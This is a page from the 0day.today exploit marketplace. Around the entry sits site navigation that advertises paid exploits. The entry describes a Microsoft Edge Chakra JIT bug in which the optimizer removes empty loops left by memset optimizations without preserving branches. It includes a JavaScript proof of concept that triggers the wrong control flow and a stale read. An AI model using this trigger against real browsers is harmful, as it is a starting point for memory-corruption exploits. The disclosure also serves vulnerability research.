0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
/*
The optimizations for memory operations may leave empty loops as follows:
for (let i = 0; i < arr.length; i++) {
arr[i] = 0;
}
Becomes:
Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
// empty!
}
These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.
Here's what may happen.
A:
Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
}
goto D; // Actually, this's a "BrGe_I4" instruction in the PoC.
C:
...
D:
...
Becomes:
A:
Memset(arr, 0, arr.length);
C:
...
D:
...
So, this may break the control flow.
PoC:
*/
function opt(a, b, always_true = true) {
a[0] = 1234;
b[0] = 0;
let arr = a;
if (always_true) {
arr = b;
for (let i = 0; i < arr.length; i++)
arr[i] = 0;
}
let val = arr[0];
if (val) {
print(val); // Must be 0, but prints out 1234
return true;
}
return false;
}
let a = new Uint32Array(1);
let b = new Uint32Array(0x1000);
for (let i = 0; i < 10000; i++) {
if (opt(a, b)) {
break;
}
}
# 0day.today [2024-12-26] #